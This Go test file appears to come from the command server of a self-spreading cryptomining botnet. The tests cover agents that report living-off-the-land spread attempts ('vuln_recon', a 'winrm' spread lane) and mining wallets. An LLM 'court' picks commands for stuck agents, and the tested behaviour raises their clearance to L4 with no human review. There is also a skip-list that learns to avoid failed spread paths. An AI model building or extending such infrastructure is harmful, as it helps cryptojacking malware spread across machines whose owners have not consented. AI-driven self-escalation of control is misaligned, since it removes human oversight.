AetherForge/server/internal/api/fleet_intelligence_test.go

package api

import (
	"context"
	"encoding/json"
	"io"
	"net/http"
	"net/http/httptest"
	"strings"
	"sync"
	"testing"
	"time"

	fleetai "crypto-miner-server/internal/ai"
	"crypto-miner-server/internal/atlas"
	"crypto-miner-server/internal/clearance"
	"crypto-miner-server/internal/db"
	"crypto-miner-server/internal/models"
	"crypto-miner-server/internal/strategy"

	"github.com/gorilla/websocket"
)

type mutableFleetAIConfig struct {
	view FleetAIConfigView
}

func (c *mutableFleetAIConfig) GetFleetAIConfig() FleetAIConfigView { return c.view }
func (c *mutableFleetAIConfig) UpdateFleetAIConfig(v FleetAIConfigView) error {
	c.view = v
	return nil
}

func newFleetIntelligenceHub(t *testing.T, aiCfg FleetAIConfigView) (*WSHub, *db.Database, *fleetai.Scheduler) {
	t.Helper()
	database, err := db.New(t.TempDir())
	if err != nil {
		t.Fatal(err)
	}
	t.Cleanup(func() { _ = database.Close() })

	hub := NewWSHub(database)
	hub.SetAdaptiveEngine(strategy.NewAdaptiveEngine(database, true))
	hub.SetFailureAtlas(atlas.NewFailureAtlas(database))
	hub.SetServerPolicy(ServerPolicy{AIControlEnabled: aiCfg.AIControlEnabled})

	cfgSrc := &mutableFleetAIConfig{view: aiCfg}
	pathTracer := NewPathTracerHandler(hub)
	sched := fleetai.NewScheduler(
		&ConfigAIAdapter{Src: cfgSrc},
		&WSHubSnapshotAdapter{Hub: hub},
		&ClearanceGuardExecutor{Inner: &FleetAIExecutor{Hub: hub}, Clearance: hub.ClearanceManager()},
		&DatabaseAIDecisionStore{DB: database},
		&DatabaseCourtAdapter{DB: database},
		hub.ClearanceManager(),
	)
	sched.SetSurgicalDeps(fleetai.SurgicalDeps{
		Trace:  &PathTraceSurgicalAdapter{Hub: hub, PathTrace: pathTracer},
		Strain: &DatabaseStrainMemoryAdapter{DB: database},
		Seer:   &HubSeerEmitter{Hub: hub, DB: database},
		StrainLookup: func(agentID string) string {
			return StrainFromAgent(hub, agentID)
		},
		ErasureActive: func() bool { return hub.PolicyErasureEnabled() },
	})
	return hub, database, sched
}

func seedStuckAgentDB(t *testing.T, database *db.Database, agentID string) {
	t.Helper()
	attempts := make([]struct {
		Tier       string `json:"tier"`
		OK         bool   `json:"ok"`
		Error      string `json:"error,omitempty"`
		DurationMs int64  `json:"duration_ms"`
		Wallet     string `json:"wallet,omitempty"`
	}, 0, len(fleetai.DefaultSpreadTiers()))
	for _, tier := range fleetai.DefaultSpreadTiers() {
		attempts = append(attempts, struct {
			Tier       string `json:"tier"`
			OK         bool   `json:"ok"`
			Error      string `json:"error,omitempty"`
			DurationMs int64  `json:"duration_ms"`
			Wallet     string `json:"wallet,omitempty"`
		}{Tier: tier, OK: false, Error: "blocked"})
	}
	if err := database.UpsertAgent(&models.Agent{
		ID: agentID, Name: "stuck-host", Platform: "windows", Status: "online",
		ChainExhausted: true, LOTLAttempts: attempts,
	}); err != nil {
		t.Fatal(err)
	}
}

func pushStuckAgentTelemetry(t *testing.T, conn *websocket.Conn) {
	t.Helper()
	attempts := make([]map[string]interface{}, 0, len(fleetai.DefaultSpreadTiers()))
	for _, tier := range fleetai.DefaultSpreadTiers() {
		attempts = append(attempts, map[string]interface{}{
			"tier": tier, "ok": false, "error": "blocked",
		})
	}
	statsPayload, _ := json.Marshal(map[string]interface{}{
		"mining_hashrate": 0,
		"chain_exhausted": true,
		"lotl_attempts":   attempts,
	})
	if err := conn.WriteJSON(Message{Type: "stats", Payload: statsPayload}); err != nil {
		t.Fatal(err)
	}
	deployTiers := make([]map[string]interface{}, 0, len(fleetai.DefaultSpreadTiers()))
	for range fleetai.DefaultSpreadTiers() {
		deployTiers = append(deployTiers, map[string]interface{}{
			"attempted": true, "ok": false, "skipped": false,
		})
	}
	aiSnapPayload, _ := json.Marshal(map[string]interface{}{
		"stuck": true, "deploy_tiers": deployTiers, "clearance_level": clearance.L1,
	})
	if err := conn.WriteJSON(Message{Type: "ai_snapshot", Payload: aiSnapPayload}); err != nil {
		t.Fatal(err)
	}
}

func waitForCourtSnapshot(t *testing.T, hub *WSHub, agentID string) fleetai.AgentSnapshot {
	t.Helper()
	deadline := time.Now().Add(8 * time.Second)
	for time.Now().Before(deadline) {
		if snap, ok := hub.FleetAISnapshot(agentID); ok && fleetai.ShouldUseCourt(snap) {
			return snap
		}
		time.Sleep(50 * time.Millisecond)
	}
	t.Fatal("agent snapshot never reached stuck/court state")
	return fleetai.AgentSnapshot{}
}

func waitForAgentTelemetry(t *testing.T, hub *WSHub, agentID string, keys ...string) {
	t.Helper()
	deadline := time.Now().Add(4 * time.Second)
	for time.Now().Before(deadline) {
		hub.mu.RLock()
		tel, ok := hub.agentLiveTelemetry[agentID]
		missing := false
		for _, key := range keys {
			if !ok || tel[key] == nil {
				missing = true
				break
			}
		}
		hub.mu.RUnlock()
		if !missing {
			return
		}
		time.Sleep(25 * time.Millisecond)
	}
	t.Fatalf("telemetry keys %v never cached for %s", keys, agentID)
}

func connectIntelAgent(t *testing.T, hub *WSHub, agentID string, auth map[string]interface{}) *websocket.Conn {
	t.Helper()
	srv := httptest.NewServer(http.HandlerFunc(hub.HandleAgentWS))
	t.Cleanup(srv.Close)
	wsURL := "ws" + strings.TrimPrefix(srv.URL, "http")
	conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
	if err != nil {
		t.Fatalf("dial agent ws: %v", err)
	}
	t.Cleanup(func() { _ = conn.Close() })
	if auth == nil {
		auth = map[string]interface{}{
			"agent_id": agentID, "hostname": "test-host", "platform": "windows", "version": "1.0",
		}
	}
	_ = authAgentConn(t, conn, auth)
	deadline := time.Now().Add(2 * time.Second)
	for time.Now().Before(deadline) {
		if hub.isAgentConnected(agentID) {
			return conn
		}
		time.Sleep(10 * time.Millisecond)
	}
	t.Fatalf("agent %s not connected after auth", agentID)
	return nil
}

func mockLLMServer(t *testing.T, onRequest func(body string)) *httptest.Server {
	t.Helper()
	srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		if r.Method != http.MethodPost || !strings.HasSuffix(r.URL.Path, "/chat/completions") {
			http.NotFound(w, r)
			return
		}
		raw, _ := io.ReadAll(r.Body)
		if onRequest != nil {
			onRequest(string(raw))
		}
		_ = json.NewEncoder(w).Encode(map[string]interface{}{
			"choices": []map[string]interface{}{
				{"message": map[string]string{
					"content": "Verdict: restart mining after tier exhaustion.\n" +
						`{"commands":[{"type":"restart_mining","args":{}},{"type":"noop","args":{}}]}`,
				}},
			},
		})
	}))
	t.Cleanup(srv.Close)
	return srv
}

// TestIntegrationCourtStuckFlow exercises stuck snapshot → court prompt → parsed command → L4 clearance.
func TestIntegrationCourtStuckFlow(t *testing.T) {
	var llmBody string
	var llmMu sync.Mutex
	llmSrv := mockLLMServer(t, func(body string) {
		llmMu.Lock()
		llmBody = body
		llmMu.Unlock()
	})

	aiCfg := FleetAIConfigView{
		AIControlEnabled: true, AIEndpoint: llmSrv.URL + "/v1",
		AIModel: "test-model", AIDecisionIntervalSec: 1, AIAutoElevateClearance: true,
	}
	hub, database, sched := newFleetIntelligenceHub(t, aiCfg)

	agentID := "court-stuck-agent"
	conn := connectIntelAgent(t, hub, agentID, map[string]interface{}{
		"agent_id": agentID, "hostname": "stuck-host", "platform": "windows", "version": "1.0",
	})
	pushStuckAgentTelemetry(t, conn)
	seedStuckAgentDB(t, database, agentID)
	waitForAgentTelemetry(t, hub, agentID, "stuck", "lotl_attempts")
	if snap := waitForCourtSnapshot(t, hub, agentID); snap.FailedTierCount < 14 {
		t.Fatalf("expected 14 failed spread tiers for L4 elevation, got %d", snap.FailedTierCount)
	}

	cmdCh := make(chan string, 1)
	go func() {
		_ = conn.SetReadDeadline(time.Now().Add(5 * time.Second))
		for {
			var msg Message
			if err := conn.ReadJSON(&msg); err != nil {
				return
			}
			if msg.Type != "command" {
				continue
			}
			var payload map[string]interface{}
			if json.Unmarshal(msg.Payload, &payload) != nil {
				continue
			}
			if action, _ := payload["action"].(string); action == "restart" {
				cmdCh <- action
				return
			}
		}
	}()

	sched.ResetLastRunForTest(agentID, 2*time.Minute)
	sched.Tick()

	llmMu.Lock()
	body := llmBody
	llmMu.Unlock()
	if body == "" {
		t.Fatal("expected LLM HTTP request")
	}
	if !strings.Contains(body, "## PROSECUTOR") {
		t.Fatalf("expected court prosecutor prompt, got: %s", body)
	}

	select {
	case action := <-cmdCh:
		if action != "restart" {
			t.Fatalf("unexpected command action %q", action)
		}
	case <-time.After(5 * time.Second):
		t.Fatal("timed out waiting for restart command on agent WS")
	}

	if level := hub.ClearanceManager().Level(agentID); level != clearance.L4 {
		t.Fatalf("clearance level = %d, want L4", level)
	}
	events, err := database.ListClearanceEvents(agentID, 5)
	if err != nil {
		t.Fatal(err)
	}
	if len(events) == 0 || events[0].ToLevel != clearance.L4 {
		t.Fatalf("expected L4 clearance event, got %+v", events)
	}

	decisions, err := database.ListAIDecisions(agentID, 5)
	if err != nil {
		t.Fatal(err)
	}
	if len(decisions) == 0 {
		t.Fatal("expected AI decision row")
	}
	if !decisions[0].CourtSession {
		t.Fatalf("expected court_session=true, got %+v", decisions[0])
	}
	if !strings.Contains(decisions[0].CommandsExecuted, "restart_mining") {
		t.Fatalf("expected restart_mining executed, got %q", decisions[0].CommandsExecuted)
	}
}

// TestIntegrationPhenotypeInheritFlow publishes a winning phenotype and verifies sibling auth inherits tier order.
func TestIntegrationPhenotypeInheritFlow(t *testing.T) {
	hub, database, _ := newFleetIntelligenceHub(t, FleetAIConfigView{})
	hub.SetFleetSecret("test-secret")

	winnerID := "pheno-winner"
	siblingID := "pheno-sibling"
	wantOrder := []string{"container", "wsl", "cpu_inprocess"}
	for _, ag := range []*models.Agent{
		{ID: winnerID, Name: "worker-07", Wallet: "4" + repeatChar('A', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()},
		{ID: siblingID, Name: "worker-12", Wallet: "4" + repeatChar('B', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()},
	} {
		if err := database.UpsertAgent(ag); err != nil {
			t.Fatal(err)
		}
	}

	hub.tryPublishWinningPhenotype(
		winnerID, "windows", "127.0.0.1", nil, nil,
		1200.0, "cpu_inprocess", "winrm", wantOrder,
	)

	conn, _ := dialAgentWS(t, hub)
	resp := authAgentConn(t, conn, map[string]interface{}{
		"agent_id": siblingID, "fleet_secret": "test-secret",
		"wallet": "4" + repeatChar('B', 94), "hostname": "win-sibling", "platform": "windows", "version": "test",
	})
	var payload map[string]interface{}
	if err := json.Unmarshal(resp.Payload, &payload); err != nil {
		t.Fatal(err)
	}
	raw, ok := payload["inherited_phenotype"]
	if !ok {
		t.Fatal("expected inherited_phenotype in auth_response")
	}
	data, _ := json.Marshal(raw)
	var inherited struct {
		SourceAgentName string   `json:"source_agent_name"`
		TierOrder       []string `json:"tier_order"`
		SpreadLane      string   `json:"spread_lane"`
	}
	if err := json.Unmarshal(data, &inherited); err != nil {
		t.Fatal(err)
	}
	if inherited.SourceAgentName != "worker-07" {
		t.Fatalf("source = %q", inherited.SourceAgentName)
	}
	if inherited.SpreadLane != "winrm" {
		t.Fatalf("spread_lane = %q", inherited.SpreadLane)
	}
	if len(inherited.TierOrder) != len(wantOrder) {
		t.Fatalf("tier_order = %v, want %v", inherited.TierOrder, wantOrder)
	}
	for i, tier := range wantOrder {
		if inherited.TierOrder[i] != tier {
			t.Fatalf("tier_order[%d] = %q, want %q (full=%v)", i, inherited.TierOrder[i], tier, inherited.TierOrder)
		}
	}
	if _, ok := payload["adaptive_strategy"]; ok {
		t.Fatal("adaptive_strategy must be omitted when inherited phenotype is present")
	}
}

// TestIntegrationAtlasSkipFlow records five conditioned failures and verifies policy merge skips the subtree.
func TestIntegrationAtlasSkipFlow(t *testing.T) {
	hub, database, _ := newFleetIntelligenceHub(t, FleetAIConfigView{})

	agentID := "atlas-skip-agent"
	if err := database.UpsertAgent(&models.Agent{
		ID: agentID, Name: "atlas-host", Platform: "windows", Status: "online",
		IP: "127.0.0.1", LastSeen: time.Now(),
	}); err != nil {
		t.Fatal(err)
	}

	conn := connectIntelAgent(t, hub, agentID, map[string]interface{}{
		"agent_id": agentID, "hostname": "atlas-host", "platform": "windows", "version": "test",
	})
	for i := 0; i < atlas.MinFailCountForSubtree; i++ {
		statsPayload, _ := json.Marshal(map[string]interface{}{
			"lotl_attempts": []map[string]interface{}{
				{"tier": "container", "ok": false, "error": "docker unavailable"},
			},
		})
		if err := conn.WriteJSON(Message{Type: "stats", Payload: statsPayload}); err != nil {
			t.Fatal(err)
		}
	}

	ag, err := database.GetAgent(agentID)
	if err != nil {
		t.Fatal(err)
	}
	fp := strategy.FingerprintFromAuth("windows", ag.IP, false)
	probes := atlas.ProbeSnapshot{Docker: false, WSL: false, PowerShell: true, DotNet: true}
	deadline := time.Now().Add(2 * time.Second)
	skipped := false
	for time.Now().Before(deadline) {
		if hub.failureAtlas.ShouldSkipSubtree(fp.Key(), "container", probes, fp) {
			skipped = true
			break
		}
		time.Sleep(25 * time.Millisecond)
	}
	if !skipped {
		t.Fatal("expected container subtree skip after 5 no-docker failures")
	}

	_ = conn.Close()
	time.Sleep(50 * time.Millisecond)

	conn2, _ := dialAgentWS(t, hub)
	resp := authAgentConn(t, conn2, map[string]interface{}{
		"agent_id": agentID, "hostname": "atlas-host", "platform": "windows", "version": "test",
	})
	var authBody map[string]interface{}
	if err := json.Unmarshal(resp.Payload, &authBody); err != nil {
		t.Fatal(err)
	}

	rawSkips, ok := authBody["atlas_skips"]
	if !ok {
		t.Fatal("expected atlas_skips in auth_response")
	}
	skipData, _ := json.Marshal(rawSkips)
	var skips []atlas.AtlasSkip
	if err := json.Unmarshal(skipData, &skips); err != nil {
		t.Fatal(err)
	}
	found := false
	for _, s := range skips {
		if s.Tier == "container" || s.Tier == "docker_load" {
			found = true
			break
		}
	}
	if !found {
		t.Fatalf("expected container subtree in atlas_skips, got %+v", skips)
	}

	rawAdaptive, ok := authBody["adaptive_strategy"]
	if !ok {
		t.Fatal("expected adaptive_strategy with merged atlas skips")
	}
	adaptiveData, _ := json.Marshal(rawAdaptive)
	var adaptive strategy.AdaptiveStrategy
	if err := json.Unmarshal(adaptiveData, &adaptive); err != nil {
		t.Fatal(err)
	}
	skipMerged := false
	for _, tier := range adaptive.SkipTiers {
		if tier == "container" || tier == "docker_load" {
			skipMerged = true
			break
		}
	}
	if !skipMerged {
		t.Fatalf("expected container subtree in adaptive_strategy.skip_tiers, got %+v", adaptive.SkipTiers)
	}
}

// TestIntegrationAIOverridesAdaptive verifies ai_control_enabled suppresses adaptive strategy paths.
func TestIntegrationAIOverridesAdaptive(t *testing.T) {
	hub, database, _ := newFleetIntelligenceHub(t, FleetAIConfigView{AIControlEnabled: true})
	hub.SetFleetSecret("test-secret")

	agentID := "ai-override-agent"
	if err := database.UpsertAgent(&models.Agent{
		ID: agentID, Name: "ai-node", Platform: "windows", Status: "online",
		IP: "127.0.0.1", LastSeen: time.Now(),
	}); err != nil {
		t.Fatal(err)
	}

	conn, _ := dialAgentWS(t, hub)
	resp := authAgentConn(t, conn, map[string]interface{}{
		"agent_id": agentID, "fleet_secret": "test-secret",
		"wallet": "4" + repeatChar('C', 94), "hostname": "ai-node", "platform": "windows", "version": "test",
	})
	var payload map[string]interface{}
	if err := json.Unmarshal(resp.Payload, &payload); err != nil {
		t.Fatal(err)
	}
	if _, ok := payload["adaptive_strategy"]; ok {
		t.Fatal("adaptive_strategy must be omitted when ai_control_enabled")
	}

	snap, ok := hub.FleetAISnapshot(agentID)
	if !ok {
		t.Fatal("snapshot not found")
	}
	if snap.Adaptive == nil || len(snap.Adaptive.TierOrder) == 0 {
		t.Fatalf("FleetAISnapshot must include persona spread temperament when AI control enabled, got %+v", snap.Adaptive)
	}
	if sent := hub.PushAdaptiveStrategyUpdates(); sent != 0 {
		t.Fatalf("PushAdaptiveStrategyUpdates should send 0 when AI control enabled, sent=%d", sent)
	}
}

// TestIntegrationSurgicalReplayFlow exercises pathtrace trace + partial spread failure → surgical fix → strain memory + Seer.
func TestIntegrationSurgicalReplayFlow(t *testing.T) {
	aiCfg := FleetAIConfigView{
		AIControlEnabled: true, AIEndpoint: "http://127.0.0.1:9/v1",
		AIModel: "test-model", AIDecisionIntervalSec: 1,
	}
	hub, database, sched := newFleetIntelligenceHub(t, aiCfg)

	agentID := "surgical-agent"
	if err := database.UpsertAgent(&models.Agent{
		ID: agentID, Name: "surgical-host", Platform: "windows", Status: "online",
		SpreadStrain: "#112233",
		LOTLAttempts: []struct {
			Tier       string `json:"tier"`
			OK         bool   `json:"ok"`
			Error      string `json:"error,omitempty"`
			DurationMs int64  `json:"duration_ms"`
		}{
			{Tier: "vuln_recon", OK: true},
			{Tier: "docker", OK: false, Error: "daemon missing"},
		},
	}); err != nil {
		t.Fatal(err)
	}

	sessPayload, _ := json.Marshal(pathTraceSessionPersist{
		ID:       "surgical-sess",
		AgentIDs: []string{agentID},
		Hops:     []*HopInfo{{AgentID: agentID, AgentName: "surgical-host"}},
		Error:    "spread blocked at docker",
	})
	if err := database.UpsertPathTraceSession("surgical-sess", time.Now().UTC(), sessPayload); err != nil {
		t.Fatal(err)
	}

	var capturedPrompt string
	oldDecide := fleetai.DecideFunc
	fleetai.DecideFunc = func(_ context.Context, _, _, systemPrompt, userPrompt string) (string, error) {
		capturedPrompt = systemPrompt + "\n" + userPrompt
		return `Rationale: skip docker and retry wsl lane.
{"commands":[{"type":"skip_tier","args":{"tier":"docker"}}]}`, nil
	}
	t.Cleanup(func() { fleetai.DecideFunc = oldDecide })

	conn := connectIntelAgent(t, hub, agentID, map[string]interface{}{
		"agent_id": agentID, "hostname": "surgical-host", "platform": "windows", "version": "1.0",
	})
	pushPartialSpreadTelemetry(t, conn)

	cmdCh := make(chan string, 1)
	go func() {
		_ = conn.SetReadDeadline(time.Now().Add(5 * time.Second))
		for {
			var msg Message
			if err := conn.ReadJSON(&msg); err != nil {
				return
			}
			if msg.Type != "adaptive_strategy_update" {
				continue
			}
			cmdCh <- "reorder_tiers"
			return
		}
	}()

	sched.ResetLastRunForTest(agentID, 2*time.Minute)
	sched.Tick()

	if capturedPrompt == "" {
		t.Fatal("expected surgical replay LLM prompt")
	}
	if strings.Contains(capturedPrompt, "## PROSECUTOR") {
		t.Fatalf("expected surgical replay prompt, not court: %s", capturedPrompt)
	}
	if !strings.Contains(capturedPrompt, "Surgical replay") {
		t.Fatalf("missing surgical replay header: %s", capturedPrompt)
	}

	select {
	case action := <-cmdCh:
		if action != "reorder_tiers" {
			t.Fatalf("unexpected dispatch %q", action)
		}
	case <-time.After(5 * time.Second):
		t.Fatal("timed out waiting for surgical reorder_tiers on agent WS")
	}

	strainRows, err := database.ListStrainMemory(agentID, 5)
	if err != nil {
		t.Fatal(err)
	}
	if len(strainRows) != 1 || strainRows[0].FailedTier != "docker" {
		t.Fatalf("strain memory: %+v", strainRows)
	}
	seerRows, err := database.ListSeerEvents(5)
	if err != nil {
		t.Fatal(err)
	}
	if len(seerRows) != 1 || seerRows[0].EventType != "surgical_replay" {
		t.Fatalf("seer events: %+v", seerRows)
	}
	decisions, err := database.ListAIDecisions(agentID, 5)
	if err != nil {
		t.Fatal(err)
	}
	if len(decisions) == 0 || !strings.Contains(decisions[0].CommandsExecuted, "surgical:") {
		t.Fatalf("expected surgical decision audit, got %+v", decisions)
	}
}

func pushPartialSpreadTelemetry(t *testing.T, conn *websocket.Conn) {
	t.Helper()
	attempts := []map[string]interface{}{
		{"tier": "vuln_recon", "ok": true, "duration_ms": 100},
		{"tier": "docker", "ok": false, "error": "daemon missing", "duration_ms": 500},
	}
	payload, _ := json.Marshal(map[string]interface{}{
		"lotl_attempts": attempts,
		"lotl_tier":     "docker",
		"mining_hashrate": 0.0,
	})
	if err := conn.WriteJSON(Message{Type: "stats", Payload: payload}); err != nil {
		t.Fatal(err)
	}
	time.Sleep(100 * time.Millisecond)
}